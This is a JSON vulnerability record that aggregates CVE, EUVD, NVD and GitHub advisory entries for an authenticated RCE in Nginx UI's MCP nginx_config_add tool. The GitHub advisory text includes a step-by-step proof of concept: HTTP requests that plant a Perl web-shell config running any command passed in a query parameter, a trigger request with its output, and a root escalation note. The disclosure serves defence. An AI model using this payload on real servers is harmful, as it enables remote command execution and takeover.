{"id":"GO-2026-6781","revision":null,"records":[{"revision":"831d44dd296d4dfa8ff9622f2a73e486","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-84318","aliases":[],"title":"Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.","state":0,"publishedAt":"2026-10-12T20:20:18.595+00:00","modifiedAt":"2026-10-13T14:59:04.18+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.0.0-rc.6, < 2.4.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-84318","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-84318","identifiers":["CVE-2026-84318"]},"retained":false,"historicalAffected":[]},{"revision":"e0158d1cb35b4a5280da6de47c4625b3","observedAt":"2026-11-07T15:21:53.161+00:00","statement":{"source":"euvd","id":"EUVD-2026-97908","aliases":["CVE-2026-84318","GHSA-9jww-cxg5-rj9m"],"title":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The ident…","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-97908","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 12, 2026, 8:20:18 PM","dateUpdated":"Oct 13, 2026, 2:59:04 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-97908","identifiers":["EUVD-2026-97908","CVE-2026-84318","GHSA-9jww-cxg5-rj9m"]},"retained":false,"historicalAffected":[]},{"revision":"1d00b4393350400ba5cbe7be53c80c2a","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-84318","aliases":[],"title":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The ident…","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.","state":0,"publishedAt":"2026-10-12T21:17:22.36+00:00","modifiedAt":"2026-10-13T15:17:50.383+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1","https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84318","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-693"],"productCriteria":[],"sourceDates":{"published":"2026-10-12T21:17:22.360","lastModified":"2026-10-13T15:17:50.383"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-84318","identifiers":["CVE-2026-84318"]},"retained":false,"historicalAffected":[]},{"revision":"2ec93ec451e04f2999562b90c6b2f512","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-9jww-cxg5-rj9m","aliases":["CVE-2026-84318","GO-2026-6781"],"title":"Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE","description":"### Summary\n\nThe MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.\n\n### Details\n\n`api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing:\n\n```go\nerr = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist\nif err != nil {\n    cosy.ErrHandler(c, err)\n    return\n}\n```\n\n`mcp/config/config_add.go` (line 79) omits that call entirely and writes directly:\n\n```go\nerr = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check\n...\nres := nginx.Control(nginx.Reload)               // reload triggered immediately\n```\n\n`config.ValidateConfigFile` runs two checks:\n- **`ValidateConfigContent`** — rejects control characters, enforces encoding.\n- **`ValidateConfigDirectives`** — rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others.\n\nNeither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly — only `config_add.go` is affected.\n\nThe MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.\n\n### PoC\n\n**1 — Control: confirm REST API blocks the payload**\n\n```\nPOST /api/configs\nAuthorization: <token>\n\n{ \"name\": \"rce.conf\", \"base_dir\": \"conf.d\", \"content\": \"<perl config below>\", \"overwrite\": true }\n```\n\nResponse:\n```\nHTTP 500  scope=config  code=40017\nmessage: file content contains restricted nginx directive: {0}\n```\n\n`ValidateConfigDirectives` rejects `perl` — the REST API is working as intended.\n\n**2 — Open MCP SSE session**\n\n```\nGET /mcp\nAuthorization: <token>\nAccept: text/event-stream\n```\n\nExtract `sessionId` from the `endpoint` event.\n\n**3 — MCP initialize handshake**\n\n```\nPOST /mcp_message?sessionId=<id>\n\n{ \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n  \"params\": { \"protocolVersion\": \"2024-11-05\", \"capabilities\": {}, \"clientInfo\": { \"name\": \"poc\", \"version\": \"1.0\" } } }\n```\n\n**4 — Call `nginx_config_add` with the identical blocked payload**\n\n```\nPOST /mcp_message?sessionId=<id>\n\n{\n  \"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"rce_backdoor.conf\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"content\": \"server {\\n    listen 8888;\\n\\n    location /rce {\\n        perl 'sub {\\n            my $r = shift;\\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\\n            $cmd ||= \\\"id\\\";\\n            $r->send_http_header(\\\"text/plain\\\");\\n            $r->print(qx($cmd 2>&1));\\n            return OK;\\n        }';\\n    }\\n}\\n\"\n    }\n  }\n}\n```\n\nResponse (`HTTP 200 OK`) — file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"result\": {\n    \"content\": [\n      {\n        \"type\": \"text\",\n        \"text\": \"{\\\"content\\\":\\\"...\\\",\\\"file_path\\\":\\\"/etc/managed-nginx/conf.d/rce_backdoor.conf\\\",\\\"name\\\":\\\"rce_backdoor.conf\\\"}\"\n      }\n    ]\n  }\n}\n```\n\nThe `perl` directive — explicitly listed in `blockedConfigDirectives` and rejected by the REST API — passes through without any check.\n\n**5 — Trigger RCE**\n\n```\nGET http://<target>:8888/rce?cmd=id\n```\n\n```\nuid=101(nginx) gid=101(nginx) groups=101(nginx)\n```\n\n### Impact\n\nAny authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.\n\nOn servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.","state":0,"publishedAt":"2026-10-15T20:11:18+00:00","modifiedAt":"2026-10-19T21:41:19.0851656+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.9.10-0.20250506154222-1330888280a2"},{"kind":"fixed","version":"1.9.10-0.20260703131214-23d1934099b0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m","https://nvd.nist.gov/vuln/detail/CVE-2026-84318","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://github.com/advisories/GHSA-9jww-cxg5-rj9m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9jww-cxg5-rj9m","identifiers":["GHSA-9jww-cxg5-rj9m","CVE-2026-84318","GO-2026-6781"]},"retained":false,"historicalAffected":[]},{"revision":"14c903a7afd644ef8b243368fe72eae8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6781","aliases":["CVE-2026-84318","GHSA-9jww-cxg5-rj9m"],"title":"Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE in github.com/0xJacky/Nginx-UI","description":"Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE in github.com/0xJacky/Nginx-UI","state":0,"publishedAt":"2026-10-19T21:08:35+00:00","modifiedAt":"2026-10-19T21:31:44.9625266+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.9.10-0.20250506154222-1330888280a2"},{"kind":"fixed","version":"1.9.10-0.20260703131214-23d1934099b0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m","https://nvd.nist.gov/vuln/detail/CVE-2026-84318","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6781","license":"OSV · upstream source license applies","key":"osv:GO-2026-6781","identifiers":["GO-2026-6781","CVE-2026-84318","GHSA-9jww-cxg5-rj9m"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8442875+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8442884+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-4b0775bb0fc73c3ceeed66f8f17640894d61d654f97ee9386046b283ad9f9876","complete":true,"records":421100,"lastAttemptAt":"2026-11-08T14:04:21.1432513+00:00","lastSuccessAt":"2026-11-08T14:04:21.1228768+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.1432513+00:00","snapshotPublishedAt":"2026-11-08T13:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T14:04:47.6384375+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8452187+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8452194+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ceefbd28b79c4b75ac56c9c678246411","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T14:04:46.9956646+00:00","lastSuccessAt":"2026-11-08T14:04:46.992+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:46.992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T14:04:21.5047325+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.5047325+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T14:04:21.2941446+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.2941446+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T14:04:21.6167179+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.6167179+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T14:04:21.3943214+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.3943214+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}